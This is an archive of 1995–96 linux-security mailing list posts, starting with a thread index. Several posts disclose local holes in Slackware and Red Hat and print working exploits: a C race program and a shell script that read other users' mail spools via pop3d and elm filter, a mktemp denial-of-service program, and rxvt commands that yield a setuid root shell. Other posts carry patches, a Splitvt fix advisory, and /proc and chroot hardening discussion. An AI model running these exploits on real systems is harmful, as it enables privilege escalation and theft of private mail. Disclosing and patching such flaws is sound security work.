linux-security.951226 randomizing filehandles: why not use ... linux-security.950413, linux-security.950422 Reply-To headers. linux-security.950313 Report: LINUX and SATAN linux-security.950406 rsh et al.: Linux's ipfw seems to sol... linux-security.950313 running w/o proc fs? linux-security.950625, linux-security.950626 Safe NFS outline linux-security.950308, linux-security.950309, linux-security.950310 SATAN linux-security.950406 SATAN information linux-security.950408 Satan module for Linux/AIX rlogin -fr... linux-security.950426 Secure Distributed Password System? linux-security.950704, linux-security.950705, linux-security.950706, linux-security.950707 Secure setup for file transfer linux-security.950306, linux-security.950307, linux-security.950308, linux-security.950309, linux-security.950310, linux-security.950312 Securing the console of a linux syste... linux-security.950517 SECURITY: Announcing Splitvt 1.6.3 linux-security.951214 SECURITY: NFS Vulnerability linux-security.950313 SECURITY: problem with some wu-ftpd-2... linux-security.950601 SECURITY ALERT: Dangerous hole in vac... linux-security.950802, linux-security.950808 security hole in deliver linux-security.950912 security hole in old versions of at f... linux-security.950403 security hole in Yggdrasil Linux linux-security.950403 Security problem in proc fs linux-security.950507 Security Problem with DOSEMU linux-security.950814 selection summary linux-security.950901, linux-security.950902 SENDMAIL 8.7 SECURITY ALERT linux-security.950924 Serious security hole: log files linux-security.950411 Sh*dow Passwords? linux-security.950306, linux-security.950307 shadow-3.3.1 useradd bug linux-security.950322 Shadow discussions linux-security.950307, linux-security.950308 Shadow discussions ... don't forget ... linux-security.950308, linux-security.950309 Shadow Passwords? linux-security.950305, linux-security.950306, linux-security.950307 Should root own binaries? linux-security.950528 skey + shadow-3.3.1 logins linux-security.950528 Skey use with Linux linux-security.950323 Slackware linux-security.950324, linux-security.950326 slackware 3.0 bad hole linux-security.951026 Slackware ftpd wrap-up linux-security.951027 Slight change in Majordomo server del... linux-security.951109 Somebody else to report bugs to linux-security.950315 source routing linux-security.950917, linux-security.950918, linux-security.950919 SSL protocol linux-security.950317 SSLtelnet patch linux-security.951105, linux-security.951106, linux-security.951108 SUDO bug linux-security.950419, linux-security.950424 Surge in list traffic, pending remova... linux-security.951106, linux-security.951107 SvgaLib (was Re: Secure setup for fil... linux-security.950309, linux-security.950310 switching symlinks on atrun linux-security.950524, linux-security.950525, linux-security.950528 syslog(2), libc-4.7.4: Versions confu... linux-security.950911, linux-security.950912 telnetd.95.10.23.patch linux-security.951111 telnetd/ld.so security hole. linux-security.951113 Telnetd Environment Vulnerability linux-security.951105, linux-security.951106 telnetd hole linux-security.951108, linux-security.951109 Telnetd Security Hole linux-security.951105, linux-security.951106 telnetd shared lib hole linux-security.951105, linux-security.951106, linux-security.951108 Telnet vulnerability: shared librarie... linux-security.951105 Telnet vulnerability: shared libraries linux-security.951105 telnet vulnerability giving root access linux-security.951105 Tentative fix for BSD lpr linux-security.950722, linux-security.950725 The FTP Bounce Attack (fwd) linux-security.950712 Thread on telnet, $LD_LIBRARY_PATH se... linux-security.951108 Trojan in Linux Satan Binaries linux-security.950408, linux-security.950414 tty permissions linux-security.950309, linux-security.950310, linux-security.950311 tty utilities follow up linux-security.950312 URGENT: Linux Security FAQ Update#7: ... linux-security.951018 useradd bug linux-security.950413 Wher to find minicom-1.71 linux-security.950917 write does not clear suids bit linux-security.950803 wu-ftp linux-security.950601 wu-ftp - visible passwords. linux-security.950812, linux-security.950814, linux-security.950815 Wu-ftpd. linux-security.950529, linux-security.950530 wu-ftpd: affected ditributions linux-security.950602 wu-ftpd and /proc again linux-security.950614 wu.ftpd InfoMagic March 1995 Fix. linux-security.950612 XDM-AUTHORIZATION-1 linux-security.950901 XDM creates "floating" socket? linux-security.950314 YAWTCQ linux-security.950719, linux-security.950721, linux-security.950726 Yet another NFS hole linux-security.950309, linux-security.950310 Yggdrasil Linux (mis)configuration pr... linux-security.950707 ypupdated hole linux-security.951212 linux-security/linux-security.960102100664 1767 1767 66634 6072367764 16674 0ustar majdommajdomFrom [email protected] Tue Jan 2 06:05:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA00326; Tue, 2 Jan 1996 06:05:21 -0500 From: [email protected] Message-ID: Date: Sat, 30 Dec 1995 15:48:53 -0500 (EST) >From: David J Meltzer To: [email protected] Subject: more mktemp() and pop3d Sender: [email protected] Precedence: list As explained before in the mailx security post, there is a problem with usage of mktemp() in many programs. This is a follow-up to that, demonstrating the generic denial of service attack and a race condition attack on linux's Slackware 3.0 pop3 mail daemon. Refer to the original mailx post for information on the security concerns with the use of mktemp(). Linux's /usr/sbin/in.pop3d contains a mktemp() race condition, exploitable when pop client connects to the machine at the point a correct password for a user is entered. This allows you to read the contents of the mail spool of a user when they connect with a pop client. Program: pop3d (/usr/sbin/in.pop3d) Affected Operating Systems: linux - Slackware 3.0 with pop3d enabled Requirements: account on system, target user uses pop client Temporary Patch: disable pop3d Security Compromise: any user with an account can read mail of a user using a pop client to read mail. Author: Dave M. ([email protected]) Synopsis: The predictability of mktemp() is exploited to create the temporary files after the filenames have been determined but before they are actually created, allowing the mail being dumped to those temporary files to be read by the creator of the files. pop3d-exploit.c: /* This program creates temporary files used by in.pop3d (/usr/sbin/in.pop3d under Slackware 3.0), which can then be read by the program. This race condition is NOT always successful, it may take extreme conditions to ensure a high probability of success. Dave M. ([email protected]) */ #include #include #include #include main(int argc, char **argv) { int race; int i; char fname[80], tmpf[80]; /* hold filename */ umask(0); if(argc<1) { printf("pop3 racer\nSyntax: %s process-id\n",argv[0]); return -1; } /* create tmp file to race creating */ strcpy(tmpf,"/tmp/pop3"); for(i=strlen(argv[1]);i<6;i++) strcat(tmpf,"0"); strcat(tmpf,argv[1]); tmpf[9] = 'a'; race = creat(tmpf,S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); while(1) { rename(tmpf,"/tmp/pop.exploit"); if(rename("/tmp/pop.exploit",tmpf) < 0) { printf("race lost - file created.\n"); /* catch 1/2 the losses */ break; } } } Program: Any with termination on mktemp() failure Affected Operating Systems: Any with predictable mktemp() return values Requirements: write access to directory temp files written to Security Compromise: denial of service Author: Dave M. ([email protected]) Synopsis: Many operating systems have an extremely limited temporary file creation algorithm, which results in denial of service attacks on any program that uses them exceedingly easy. deny-mktemp.c: /* This programs opens the complete set of temporary files tested with mktemp() for a given template (with 6 X's), usually resulting in the program terminating upon failure to find an open file. In pop3d, this prevents a pop client from reading their mail. Dave M. ([email protected]) */ #include #include #include #include #include /* template found in program's header file, minus X's */ #define TEMPLATE "/tmp/pop3" main(int argc, char **argv) { long int i,j; char fname[20]; if(argc<2) { printf("Syntax: %s process-id\n"); return -1; } j = strlen(TEMPLATE); strcpy(fname,TEMPLATE); for(i=strlen(argv[1]);i<6;i++) strcat(fname,"0"); strcat(fname,argv[1]); for(i=0;i<26;i++) { fname[j] = 'a' + i; creat(fname,O_WRONLY | O_CREAT); } for(i=0;i<26;i++) { fname[j] = 'A' + i; creat(fname,O_WRONLY | O_CREAT); } for(i=0;i<9;i++) { fname[j] = '0' + i; creat(fname,O_WRONLY | O_CREAT); } } /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Tue Jan 2 06:06:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA00341; Tue, 2 Jan 1996 06:06:05 -0500 From: [email protected] Message-ID: Date: Tue, 26 Dec 1995 15:07:49 -0500 (EST) >From: David J Meltzer To: [email protected], [email protected], [email protected] Subject: filter (elm package) security hole Sender: [email protected] Precedence: list The elm filter under linux runs sugrp mail, thus allowing it to freely read and write from users mail spools. It is only through the integrity of its code that the security of linux's mail system is protected; and in this respect it falls short. The failure of the filter program to properly handle temporary files allows a user to read or write to any user's mail spool, a significant security hole. The specific problem that is exploited in this hole is the way filter uses a temporary file to store the input to it, and then subsequently send it back out according to the filter. Because of the modularity of the coding, in the main filter.c, the temporary file is opened, and then written to; after which it is closed. The mailmessage function is then called, with the purpose of forwarding that mail, written to the temporary file, to whatever destination is specified in the filter. At the start of this process, the temporary file is opened, and the contents of it are dumped to the mail spool of the user the mail is being forwarded to. At any point after the file has been initially opened by the main filter function, since the user running filter has permissions on that temp file, it can be rm'd. The temp file existing can then be replaced with a symbolic link to any file that group mail has read permissions on. When it is opened in the mailmessage function, the symbolic link is followed and whatever file that was pointed to will be read in, and the contents forwarded to the user specified in the mail spool. The complete exploits are shown below: Program: filter, an elm utility Affected Operating Systems: linux - Slackware 3.0, others with sgid mail filter Requirements: account on machine Security Compromise: user can read any mail spool readable by grp mail. (usually everything, sometimes not root) Author: Dave M. ([email protected]) Synopsis: filter writes out the mail to be forwarded to a temporary file, which is then closed and reopened; if when the temporary file is reopened it is a symlink to a mail spool, filter will proceed to forward the contents of that file as if it was the original message. #!/bin/sh # This shell script exploits a problem with filter(1L) # it will follow symbolic links, on a read allowing # us to steal a users mail file. # # Usage: fread.sh victimsusername # # Contents will be stored in ~/victimsusername.mail # # Dave M. ([email protected]) # cp /var/spool/mail/$LOGNAME ~ cp /dev/null /var/spool/mail/$LOGNAME echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp cat << _EOF_ >> /tmp/fread-msg.tmp >From: Dave To: $LOGNAME Subject: Filter Exploit _EOF_ echo sleep 2 > /tmp/fread-sh.tmp echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp chmod +x /tmp/fread-sh.tmp /tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp & FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'` rm -f /tmp/filter.$FREAD ln -s /var/spool/mail/$1 /tmp/filter.$FREAD sleep 2 rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp /tmp/fread-ftr.tmp /tmp/filter.$FREAD FREAD= cp /var/spool/mail/$LOGNAME ~/$1.mail cp ~/$LOGNAME /var/spool/mail more ~/$1.mail From [email protected] Tue Jan 2 12:05:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA01766; Tue, 2 Jan 1996 12:05:37 -0500 From: [email protected] Message-ID: <[email protected]> Date: Tue, 2 Jan 1996 04:57:59 -0500 (EST) >From: David J Meltzer To: [email protected] Subject: elvis Sender: [email protected] Precedence: list Sometimes when you see a bug you are just too embarassed about it being there to actually write an exploit for it... >From the elvis source code tmp.c: /* !!! RACE CONDITION HERE - some other process with the same PID could * create the temp file between the access() call and the creat() call. * This could happen in a couple of ways: * - different workstation may share the same temp dir via NFS. Each * workstation could have a process with the same number. * - The DOS version may be running multiple times on the same physical * machine in different virtual machines. The DOS pid number will * be the same on all virtual machines. * * This race condition could be fixed by replacing access(tmpname, 0) * with open(tmpname, O_CREAT|O_EXCL, 0600), if we could only be sure * that open() *always* used modern UNIX semantics. */ Is there ANYBODY who looks at the code before it goes into Slackware??? From [email protected] Tue Jan 2 12:06:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA01786; Tue, 2 Jan 1996 12:06:56 -0500 From: [email protected] Message-ID: Date: Tue, 2 Jan 1996 05:05:40 -0500 (EST) >From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected] Subject: rxvt security hole Sender: [email protected] Precedence: list There is a major security hole in rxvt, a terminal emulator for X, when it is run on systems suid root, as is required on many configurations in order to write to the utmp file. It is obvious from the code that this program was not written to be run suid root, its a pity that sysadmins that install the compiled versions of this sort of code don't see the same warnings of 'run suid root at your own risk' that the people that put together a distribution with it that way see in the makefile. The conditions that allow this particular hole to be exploited is rxvt compiled with the PRINT_PIPE option, and is running suid root. The program sets the pipe to "lpr", without a pathname, but its even easier than that to exploit because we can set the pipe to whatever we want with the -print-pipe option on the rxvt command line. Although the programs gives up its root privileges when forking to runn a shell or other command, the original program continues running suid root the entire execution of the program. Because the popen() call runs as root, whatever program that pipe opens will execute immediately as root. In order to start the printer pipe, the vt100 printer-on command is ESC[5i. The pipe can then be closed with the printer-off commad, ESC[4i. Exploiting this is extremely easy. Program: rxvt Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with rxvt suid root (and compiled with PRINT_PIPE) Requirements: account on system, X server Temporary Patch: chmod -s /usr/X11R6/bin/rxvt Security Compromise: root Author: Dave M. ([email protected]) Synopsis: rxvt fails to give up root privileges before opening a pipe to a program that can be specified by the user. Exploit: 1. Set DISPLAY environment variable if necessary so you can use x clients. 2. In user shell: $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug $ chmod +x /tmp/rxbug $ rxvt -print-pipe /tmp/rxbug 3. In rxvt xclient: $ cat ESC[5i ESC[4i (The client will close at this point with a broken pipe) 4. $ /tmp/rxsh # whoami root # From [email protected] Tue Jan 2 16:16:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA03525; Tue, 2 Jan 1996 16:16:10 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: [email protected] cc: [email protected], [email protected] Subject: Re: rxvt security hole In-reply-to: from [email protected] on Tue, 02 Jan 1996 05:05:40 EST. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 02 Jan 1996 14:14:35 -0500 From: Marc Ewing Sender: [email protected] Precedence: list Can anyone tell me if the appended patch does what is needed here? It seems to work (ie, the exploit code results in a suid `marc' shell when I run it). If so, I'll make a new rpm (this is for Red Hat 2.X) and post an announcement here and to the redhat-list. Thanks, Marc -- --- rxvt/command.c.marc Tue Jan 2 14:00:59 1996 +++ rxvt/command.c Tue Jan 2 14:08:28 1996 @@ -1350,8 +1350,19 @@ char rev_escape_seq [4] = "i4[\033"; int index = 0; FILE *pipe_file; + uid_t saved_uid; + gid_t saved_gid; + + saved_uid = geteuid(); + saved_gid = getegid(); + seteuid(getuid()); + setegid(getgid()); pipe_file = popen (print_pipe, "w"); + + seteuid(saved_uid); + setegid(saved_gid); + if (pipe_file == NULL) { fprintf (stderr, "rxvt: can't open printer pipe!\n"); --- rxvt/screen.c.marc Tue Jan 2 14:01:05 1996 +++ rxvt/screen.c Tue Jan 2 14:08:35 1996 @@ -2164,8 +2164,19 @@ char *pl; FILE *pipe_file; int i,lim,ll; + uid_t saved_uid; + gid_t saved_gid; + + saved_uid = geteuid(); + saved_gid = getegid(); + seteuid(getuid()); + setegid(getgid()); pipe_file = popen(print_pipe,"w"); + + seteuid(saved_uid); + setegid(saved_gid); + if (pipe_file == NULL) { fprintf(stderr, "rxvt: can't open printer pipe!\n"); From [email protected] Tue Jan 2 21:18:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id VAA06490; Tue, 2 Jan 1996 21:18:21 -0500 From: Marc Ewing Message-Id: <[email protected]> Subject: rxvt hole To: [email protected] Date: Tue, 2 Jan 1996 20:58:30 -0500 (EST) Cc: [email protected], [email protected], [email protected] Content-Type: text Sender: [email protected] Precedence: list OK, second attempt. This one should only retain privileges for the utmp stuff and /dev/ttyp* stuff, which is all it should need, as far as I can tell. If someone more knowlegeable than me gives this an OK, I'll release new rpms. Thanks, Marc -- --- rxvt/rxvt.h.marc Tue Jan 2 20:02:10 1996 +++ rxvt/rxvt.h Tue Jan 2 20:14:30 1996 @@ -21,3 +21,7 @@ extern void clean_exit(int); extern void cleanutent(void); extern void makeutent(char *); + +void save_privs(void); +void get_privs(void); +void release_privs(void); --- rxvt/rxvt.c.marc Tue Jan 2 20:02:14 1996 +++ rxvt/rxvt.c Tue Jan 2 20:46:04 1996 @@ -45,6 +45,10 @@ int i; char *shell; char **com_argv; + + /* Save then give up any suid/sgid privileges */ + save_privs(); + release_privs(); for (i = 0; i < argc; i++) if (strcmp(argv[i],"-e") == 0) --- rxvt/command.c.marc Tue Jan 2 20:09:00 1996 +++ rxvt/command.c Tue Jan 2 20:47:18 1996 @@ -222,6 +222,26 @@ } #endif +static uid_t saved_uid; +static gid_t saved_gid; + +void save_privs() +{ + saved_uid = geteuid(); + saved_gid = getegid(); +} + +void get_privs() +{ + seteuid(saved_uid); + seteuid(saved_gid); +} + +void release_privs() +{ + seteuid(getuid()); + setegid(getgid()); +} /* Catch a SIGCHLD signal and exit if the direct child has died. */ @@ -348,8 +368,10 @@ gid = gr->gr_gid; else gid = -1; + get_privs(); fchown(ttyfd,uid,gid); fchmod(ttyfd,0600); + release_privs(); #endif #ifdef TIOCCONS if (console) --- rxvt/utmp.c.marc Tue Jan 2 20:19:35 1996 +++ rxvt/utmp.c Tue Jan 2 20:43:55 1996 @@ -71,9 +71,11 @@ extern char ttynam[]; extern struct stat ttyfd_stat; + get_privs(); chmod(ttynam,ttyfd_stat.st_mode); chown(ttynam,ttyfd_stat.st_uid,ttyfd_stat.st_gid); + release_privs(); #endif if(madeutent) cleanutent(); @@ -228,12 +230,14 @@ FILE *ut; struct utmp u; + get_privs(); if((ut = fopen(UTMP,"r+")) == NULL) return; fseek(ut,utmp_pos,0); memset(&u,0,sizeof(u)); fwrite((char *)&u,sizeof(struct utmp),1,ut); fclose(ut); + release_privs(); } @@ -250,10 +254,12 @@ int write_utmp(struct utmp * u) { int pos; + get_privs(); utmpname(UTMP); setutent(); pututline(u); endutent(); + release_privs(); pos = (int)NULL; madeutent = 1; return(pos); @@ -306,6 +312,7 @@ int pid; struct utmp *u; + get_privs(); utmpname(UTMP); setutent(); pid = getpid(); @@ -333,6 +340,7 @@ endutent(); } } + release_privs(); } #endif /* BSD */ From [email protected] Tue Jan 2 21:18:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id VAA06510; Tue, 2 Jan 1996 21:18:31 -0500 Date: Tue, 2 Jan 1996 18:12:19 -0500 (EST) From: "Alexander O. Yuriev" To: Linux Security Mailing List cc: Linux Announce Submit , Sam Lantinga Subject: Linux Security FAQ Update#9: Splitvt Vulnerability Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [ Don't laugh. This message somehow was sitting in Bach's mail queue since Dec 18, 1995! -- alex ] -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update SplitVT Vulnerability Dec 18, 1995 14:48:02 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the Splitvt program prior to version 1.6.3, including the Splitvt program in the Slackware 3.0 Linux distribution. The exploit scripts circulating over the Internet allow local users to gain root access using the Splitvt RISK ASSESMENT If a splitvt binary version prior to 1.6.3 is a setuid-to-root program, any local user that can execute it can gain root access on the system. SOLUTION TO THE PROBLEM To determine if your version of Splitvt is vulnerable use command splitvt -version If the version of your splitvt binary is prior to 1.6.3, locate it and immidiately remove setuid bit from it using a command similiar to chmod 111 /usr/bin/splitvt DISTRIBUTION FIXES Red Hat Commercial Linux 2.0 & 2.1 Red Hat Linux distribution does not include Splitvt. If you installed your own version of Splitvt, please follow the intstuctions in the Other Distributions Section. Caldera Network Desktop Preview II does not include Splitvt. If you installed your own version of Splitvt, please follow the intstuctions in the Other Distributions Section. Debian Debian/GNU Linux distribution does not include Splitvt. If you installed your own version of Splitvt, please follow the intstuctions in the Other Distributions Section. Slackware Version 3.0. Patrick J. Volkerding ([email protected]) has supplied information about the official patch for Slackware 3.0. The official patch can be obtained from one of the following URLs: ftp://ftp.cdrom.com/pub/linux/slackware/patches/splitvt-patch.tgz ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/Slackware-3.0/splitvt-patch.tgz ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/Slackware-3.0/splitvt-patch.tgz Please verify the MD5 hash of the file prior to installing it. 214ce5016dc457acb6e6dd381794d285 splitvt-patch.tgz In order to install the patch use command installpkg splitvt-patch.tgz as root. Other versions of Slackware Please consider upgrading to Slackware 3. In the nearest future the Linux Security FAQ Updates would stop containing any information about versions of Slackware prior to 3. Other Linux Distributions: If your distribution is not listed in this LSF Update and is vulnerable or if you installed splitvt in a distribution that does not support it, you would need to upgrade to splitvt version 1.6.3 by compiling the source code. The official source code of splitvt 1.6.3 can be obtained from one of the following URLs: ftp://dandelion.ceres.ca.gov/pub/splitvt/splitvt-1.6.3.tar ftp://bach.cis.temple.edu/pub/Linux/Security/splitvt-1.6.3.tar ftp://linux.nrao.edu/pub/linux/security/splitvt-1.6.3.tar Please verify the MD5 hash of the file prior to installing it. eec2fe2c5b4a3958261197905a9d9c81 splitvt-1.6.3.tar CREDITS Information in this update is based on the release of the Avalon Security Research. We would also like to thank Sam Lantinga ([email protected]) and Patrick J. Volkerding ([email protected]) for their prompt response to the problem. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMOm6J4xFUz2t8+6VAQGZ4wQAm1nNFBfu1iJ8+p8583JCzlqz3ThAxu2F gbwo4t39H3qO4yFPXyRsivU5yTi2b0s2obIcEsqyVQZeM2dwsoPG23MfrqFb8jll J058yaeEsaopmu7BmMbhT8lyygcaq6t3mPAZFOQxkPHkP2GHXTxY/8ZenjsYJkaG fydFMPRb+Po= =O3MP -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Tue Jan 2 21:54:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id VAA06799; Tue, 2 Jan 1996 21:54:42 -0500 Date: Tue, 2 Jan 1996 21:53:58 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Slight mail hub problems: three "dropped" posts. X-Zippy: PIZZA!! X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Due to a temporary DNS glitch involving one of the primary mail hubs for the linux-security list, three posts that were approved today did not get properly delivered to some of the subscribers in the following top-level domains: .gov .mil .net .org Portions of the posts' headers follow: Message-ID: Date: Tue, 2 Jan 1996 05:05:40 -0500 (EST) >From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected] Subject: rxvt security hole Message-ID: <[email protected]> Date: Tue, 2 Jan 1996 04:57:59 -0500 (EST) >From: David J Meltzer To: [email protected] Subject: elvis Message-Id: <[email protected]> To: [email protected] cc: [email protected], [email protected] In-reply-to: from [email protected] on Tue, 02 Jan 1996 05:05:40 EST. Date: Tue, 02 Jan 1996 14:14:35 -0500 From: Marc Ewing Subject: Re: rxvt security hole Rather than posting these messages to the list a second time (thus wasting bandwidth and duplicating the posts in both the archive and the digest list), I'll just point everyone to the list archives from which posts can be retrieved by two different means: Via FTP: linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960102 Via E-mail: Send an e-mail message to "[email protected]" with the following statement in the *text* of the message (not in the subject header!): get linux-security linux-security.960102 Note: The first rxvt post, from David J. Meltzer, was also sent out to the linux-alert mailing list, and it appears (thus far at least) that it was delivered successfully to all subscribers of that list. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://www.cv.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMOnvlHoDqzGe1QXFAQGANgQA0mHs5PNBDtpHG3PA232+nwpdORmOK94T Ch6/lUEmlEGEjV6VevgWWSUNGT3XLfxnLky8Wile799IIXHrtfluCerGqt7mjpu+ EoRMynOCRH2kAAt6gUElxGBpd7NfggNZJYelon7NWvH3ecSPqPICIBhdSjj4WgqP K0JcKsonezs= =c4ze -----END PGP SIGNATURE----- linux-security/linux-security.960103100664 1767 1767 7336 6072571055 16635 0ustar majdommajdomFrom [email protected] Wed Jan 3 16:16:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA16004; Wed, 3 Jan 1996 16:16:26 -0500 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: /proc insecurity To: [email protected], [email protected] Date: Wed, 3 Jan 1996 21:33:34 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list Hi all! As we probably already know, the /proc filesystem still has security problems. Here is another (simpler) idea how to fix it. I came up with it last night - I just can't sleep well until this is fixed... :) Note that this has not been tested, and I don't have any real patches yet, but it looks reasonably easy to implement. The question: is this enough? Any obvious problems that I missed? Comments? The problem is that one can open /proc//mem, hold the file descriptor, then have exec some setuid/setgid/unreadable program and still read its memory even though the process is not dumpable (for a good reason - it may have access to sensitive information which shouldn't be available to the user, example: ssh and secret host key). 1.3.xx ====== How about this: for every process track the /proc//mem open count (add a new field to struct task_struct). You can do that using the open/release operations, initialize it to zero for the initial task, and set it to zero for a newly created child process in fork(). Now, if this count is nonzero for the current process, and we try to exec a setuid program, behave as if the process was ptraced: execute it but ignore the setuid and setgid bits. While working on this I noticed one more potential problem: it is possible to ptrace unreadable programs (the process becomes undumpable but only _after_ it is ptraced). To test: run strace on any binary which you can execute but can't read. It will work, and it may reveal some potentially sensitive information as well. Even if strace can't read /proc//mem anymore, system call arguments may still contain some sensitive information. Suggested fix: if the process is ptraced or the /proc//mem open count is nonzero, and we try to exec a program, check that it is readable by the user, not only executable. If it is not readable, refuse to execute it and return an error. Please look at possible problems with this, and comment on it. 1.2.xx ====== For 1.2.xx, there is an additional problem with /proc permissions getting out of sync with reality. This has been fixed somewhere in 1.3.xx, but probably requires too many changes to put it 1.2.xx. The only simple fix I can see for 1.2.xx is to make /proc//* owned by root for all processes. This may break some things (strace will not show data passed to system calls using pointers, it will only show the pointers), but at least you can have a choice: less insecure /proc (default) and a few things broken slightly, or the old behaviour (using the "insecure" /proc mount option) if you don't care about security. BTW: strace is not a Linux-specific program (the source says it works on sunos4 too, which has no /proc filesystem) - it should be possible to modify it so that it does not assume /proc//mem is available. If it isn't, fall back to using the ptrace system call. Possible? If there will be 1.2.14 (please...), here are other security problems to fix besides /proc (just a reminder): - MAP_DENYWRITE denial of service - setuid/setgid bits not cleared on write by non-owner I will try to make /proc patches for 1.2.xx and 1.3.xx (as described above) available in a week or two. Regards, Marek linux-security/linux-security.960104100664 1767 1767 13734 6072722062 16651 0ustar majdommajdomFrom [email protected] Thu Jan 4 04:04:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id EAA02731; Thu, 4 Jan 1996 04:04:12 -0500 From: [email protected] Date: Wed, 3 Jan 1996 18:54:14 -0500 (EST) >From: "Alexander O. Yuriev" To: luka cc: [email protected], Linux Security Mailing List Subject: about chroot. In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [I am CC'ing this to linux-security mailing list. -- Alex] > Umm.. there are no users on a system without the programs. Are you saying > you can't chroot his shell? You have to fiddle a bit, and it is not as > 'secure' as it could be, but chroot will work. If modifying some scripts and > variables, chrooting a coupla programs, etc.. Is not enough, then you > obviously have a user on your hands that should not be on the system. That is obviously incorrect. The function of chroot is to changes the entire environment. That environment consists of all the parts of the tree that can be accessed by that process. In Linux as in most of modern UNIX systems majority of binaries are compiled with shared libraries that are locted in /lib /usr/lib /usr/X11R6/lib etc etc etc. The number of programs that are compiled statically and do not require access to anything in system directories (that is directories above the user's home) is very small. This means that unless one can provide an environment where entire system tree is being cloned below user's home directory, majority of programs won't work. One of programs that won't work is ls, because it requires ability to extract uid/gid information from /etc/passwd and /etc/group files that are located above user's directory. There are two ways to clone a filestructure. They could be cloned below users directory: / /dev /usr /lib /var/CHROOTED/user <---- chroot'ed process | \--> /usr \ /dev | cloned in chroot'ed environment /lib | /var / This is the case where cloning entire system does not seem to be a good idea. First of all due to the fact that by cloning filesystem *below* user's owned directory, system administrator creates interruptable paths (i.e. whole parts of the tree would be controlled by a user which would allow him/her to perform all kind of operations that could alter the chroot environment). The second possible way is to make both user's home and s system clone subdirectories of one directory and then chroot into that directory. In that case there is no difference that I can see between a normal non-restricted environment with / as the root of the tree and such chroot'ed environment. If you want to lock out a user from the ability to execute all commands but a specific set, the better solution would be to create a special group, make that user a member of it; make everybody else a member of a group "users"; make all directories that contain binaries that should not be executed by restricted user owned root:users 750 and finally create a directory of "allowed" commands with protecting mode root:root 755 It is important to protect directories and not files because you still want to correctly working setgid programs. > > I believe what you want is the chroot command. (man chroot..) > Wrong. it is a lot harder to restrict a user into a directory than to > restric a running program. Basically, it is usually not worth the time... Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Thu Jan 4 